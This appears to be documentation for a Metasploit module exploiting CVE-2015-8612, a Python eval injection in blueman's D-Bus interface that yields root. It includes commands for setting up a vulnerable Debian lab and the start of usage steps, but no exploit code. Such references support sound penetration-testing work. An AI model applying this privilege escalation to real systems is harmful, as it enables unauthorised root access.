List of CVEs: CVE-2015-8612
This module attempts to gain root privileges by exploiting a
Python code injection vulnerability in blueman versions
prior to 2.0.3. The org.blueman.Mechanism.EnableNetwork
D-Bus interface exposes the set_dhcp_handler function
which uses user input in a call to eval, without
sanitization, resulting in arbitrary code execution as root.
This module has been tested successfully with blueman
version 1.23 on Debian 8 Jessie (x64).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.

Description
This module attempts to gain root privileges by exploiting a Python code injection vulnerability in blueman versions prior to 2.0.3.
The org.blueman.Mechanism.EnableNetwork D-Bus interface exposes the
set_dhcp_handler function which uses user input in a call to eval,
without sanitization, resulting in arbitrary code execution as root.
This module has been tested successfully with blueman version 1.23 on Debian 8 Jessie (x64).
Vulnerable Application
This module has been tested successfully with:
- blueman version 1.23 on Debian 8 Jessie (x64)
Old versions of the blueman package are available in Debian snapshots.
The following /etc/apt/sources.list configuration will allow a vulnerable
version of the blueman package to be installed:
deb [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
deb-src [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
Update the package sources with apt-get -o Acquire::Check-Valid-Until=false update
The package can be installed with apt-get install blueman
Verification Steps
- Start
msfconsole - Get a session
